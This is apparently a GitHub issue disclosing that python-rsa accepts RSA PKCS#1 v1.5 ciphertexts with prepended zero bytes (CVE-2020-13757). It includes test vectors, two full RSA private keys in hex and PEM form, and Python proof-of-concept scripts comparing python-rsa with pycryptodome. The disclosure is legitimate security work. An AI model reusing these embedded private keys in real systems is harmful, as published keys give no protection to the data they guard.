"30820944020100300d06092a864886f70d01010105000482092e3082092a0201000282020100f601be0dccd04aa40b12f3f191ae17c1f9c8c0b68e7a77e14be25c3c7907cb1d33a6ef418ef41852f32c98392bc5c9aed91c1a1501c503eab89b3ee6f4f8eb2e0fcfc41bd03609cf6a8eb3aa6f0fbe23187b33db4d34b66d128a8aba0a2abf40bb9d13d8e2554569a57ab1d8c61b8cad2dc88599ae0da5346e15dace1bac7bf69737c22f083be9b46bb8b1eab5957b2da740275e96c87195b96fe11452159dafcfd916cee5d749a77bc3905a5ebd387ae445e8fe70f16e9a086639779ceffbfd41557bd99aea6a371a6b4b160615a1a12bc6958d34bce0c85adcbd8392fa10ceca52209d56196ba3d273ce228f1f111192aa92de2a039798a17bcecb4dc6100e6f8ae8c2643f2ae768b2255f082c978e95ca551555f10608231cf8003bbf807969fff1e51914b9a8c9b8f4564645b9e5d705ffad29663f5dae3d76652b422e43f13e6c1491090805c2d1268a74a251177427e33a9a91175c3670b91746008bce1fd231e6e4f2ad70cb43aca5f07600a6d31dd02915243dfdd943a02165da367a6b7e4dae1dd2e8b836903080795d2585076cc1c15dd9e8d2e5e047526569b1bfd395d957eb9fde325d342d14426e71efdc1887515e53cdea5834921f928629e748eed097ac4024e2bf255d70411f87373948cf8e8aa7effa2b0ab47d5166091e1aedec60568b155bd9c27bc55f3ece35f83d636dbcd5abf4853a051db94d504502030100010282020100d3519bd86edf5dbe9c64a3781713dd049b747f5651fd918cce8a9b80b6d6a2fb6aab334ab569a89b58982e0aae373090299fa227f9652b802d23ee5ca6824c433d01d40bb0473b16190a8bfb137c0a704b4f49b45015bfbee1f670446f07595259d70c7d79ae95f9b2543b0162ebb763ebb81c4b6edff9d197dede1dbe57e40466d156d4dfd5d7634c45534fb2bbbd1bf257817a173c0795fdbcc533976f4a0d04160f299af5dc272a814b36d5bae5116b9542178f1d554cab7a6453035482b981add4bd8ffd5d500839b23e30ebd3f3868f07584cbd12ba089325982860f69f2bdc7077b6c60f58a2272823379e1023704165f7c14f64a18fd5b245a18149b7eda3385a56ba9e79502a27bf13865cde35be15de03d06aa6f08b172b7eeb4b73cbc157019c5d933584a8d1add61b7dbca3b253ca0cf93dc9a8a3aac2f50227022e692f7b4767556620cc928d63e31078c360e2ab4b71a917e19e7eb09380482e5b4ea88202871c2a29ca6f66b2fe304af609520e4f81d64c26768bb812a86679366611f4cf6e89e2bd1d9d7e28729c7f0e4e3152d7ad7f186fa32f01e169ff06a12001bc179dfd0dc942cbabc555f67f5fd043e0a3354340fa490d2f123367be926eb3e1dffe70c3151c87450f3217dc2aa0b5a7069c5a17d55614c9994139f7b37b49e9fe780af65a0e89e2e58feaaffe163bc9d19eafd9cd29b0ef3cef3d010282010100fc21b855c5ad4ca2b6970516406f71c6e79efc4126e6598772db1e082de6b0dddaaa2a2951f04148e86e0bde28213b7f600f987308301eacea134062bb0c3ddf628da9abf93ef1ce3e75b0953a484dbd3554bd5c0649933dd77e527563e90f05a8013fddac958c329378e94303b304be5f9df1fe5b043a7fdd94700a3f0b1cbbd0516b7cd94c57ca96d9fd2a8ca973991218cba33a1c23d810f7519d1f7702ab72affdb3f84a1b2a88116e4033bc4d0cfc7989c657e0fe94e964476ae58bae6b7876f36c09d32b1a63f8c47c94a74c92eedf75fc27cffe0f8452363e4bc8f7653f3cb55eaf693cec70d13c875de935a8b20439ab7e93f76981c5957fc5bb44d90282010100f9c7f748a505d23ecef9a85f8097c8cf7d7028ef6c90e22a336511582d2cc3636e34ead37204dbd22f142a3fb1d5f857b0310c7a433f51ae14d4608b01b43aa8c7ae67835f7fbe0b9d97948b39e9ba2d3a1687edb8b56ee70ff0536dab4d0551f71ed0daee9e412449f5f099bcc15e4ef0554dc79f87fec5a0dea717c7054392bf444613937401bbef3c22fbf7e738c58779b981609a1f9c11dd6f0bbe9996e2773459e4cef247b02a9fc21296ac57a5b10561824310cfbdecc90e06598370e3698713fdbe2528ec4ef3dccaae701eedc3e54ad6e7af4e68e3b39bd2e97ac9119936c647a503511cb283df984cfd7c07f0f56aa8ae3166948ef3f41b0859934d0282010100815486aab0a0896bf97f13e3eb1f7f5c49195b49cc3b6277412a3688798b18f46422df479cb941b3b54e25964a3d69b897bcc8355160e58b4af29f1745dd2cabb670f634b9c058e6b3514947f2c27de5ed424f73b1e1f1be4a188911a0333f3a6688658b3ee8e3265a512e4deacadc470ee304ebb5224123afb461984fe8524fe0b6b30d32a59f6ed2dc74a96bc7cbfd1bb44e58a7092235c5d6272e12a2c862cb8c8cf5d109aa4fb1c6472875a14460c1ed5207c4b22bc494c7947eb7ca63a8cafd31361d000ddf16a2d79f13dd9140d979149b488cbf44945a5b6aaf13221bf4491ebbb7fca27ca20e221f49c3c37b89fcf2dc0e2cb63f8f8a9b7a142250590282010100b61d84ff934a4e437b16ee1b4b9fdf4ae13370b5385bde7a5464a123c0343df575f9e128ef9df944230d39cc9cf5dc0edb28b7e740b69ef024c1bfee39fcd5340ffaea0010160c535dc0920e7cd81be533d00fa554a1fc4d3e02c461569f5e7ca787f1515edf45b196b759884de652c38d5934cf92524e807b4d3b590bc39bc417ee4885a761d28ddadce6c8fdb3b961d3e7fd48064df9340a967f8b79997438841f48579a476ddb55088c308f68f2b29d01c6597a5a7c8d066284f63e37a68c3879c32aa3836675fd0eb2719883a91944561e9dd7e8aa6bb17157f08c48f8e6fae5c3e5a2bb6b5d580eec6c97ddcd9be0a49ef283a7031ad7aba8d438df4e950282010022fb8e5fcd9b767104e71244db53058c18061e1b0d1f63b73e2d59a95e2a10cd87426a33da13c287cdef8136e5e47e93fb9b30ad92628a7b543f48eb011a86356ab3cb480f27e391b018ca187d97af3d82e31861ecafa663db78aa89c3bd468e6aadefb3a43f78bc00b8014c95db54e9d21a017e8f21f671545edde9a965ea32dfff45cda37fca1aa5132f6c8eed222bd01fed5a6e7d639580c5955777a86544c2c4c939bdb8b4c486dda53072861a0334359bdb3758475e49d90d0539944e78cfcfd8fff55bb31a1cebc65b28f51e790701b2f7912188984f034e6e96e1c5251e33fe38fb221bce7a90a86857c5f56b6ca77307c45d5290b1f088ade082b349", "type" : "RsaesPkcs1Decrypt", { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "000004327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("000004327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("04327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` On the other hand, pcryptodome detects whenever bytes "0" are prepended to the ciphertext: ``` from Crypto.Cipher import PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Hash import SHA from Crypto.Hash import SHA from Crypto import Random privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = RSA.importKey(privateKeyPem) cipher = PKCS1_v1_5.new(private_key) """ "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, """ ct = "4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d" print("[*] Unmodified ciphertext") try: secret = cipher.decrypt(bytes.fromhex(ct), "test") print("\tDecryption OK") except Exception as e: print(e) print("[*] Ciphertext with prepended bytes") ct = "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d" try: secret = cipher.decrypt(bytes.fromhex(ct), "test") except Exception as e: print("\t", e) ``` Best regards, Antonio

python-rsa does not detect ciphertext modification (prepended "0" bytes) in PKCS1_v1_5

https://api.github.com/repos/sybrenstuvel/python-rsa/issues/146/comments

12

2020-05-27T08:11:51Z

2020-06-10T22:08:17Z

https://github.com/sybrenstuvel/python-rsa/issues/146

625,477,884

146

1,247

CVE-2020-13757

2020-06-01T19:15:10.067

Python-RSA before 4.1 ignores leading '\0' bytes during decryption of ciphertext. This could conceivably have a security-relevant impact, e.g., by helping an attacker to infer that an application uses Python-RSA, or if the length of accepted ciphertext affects application behavior (such as by causing excessive memory allocation).

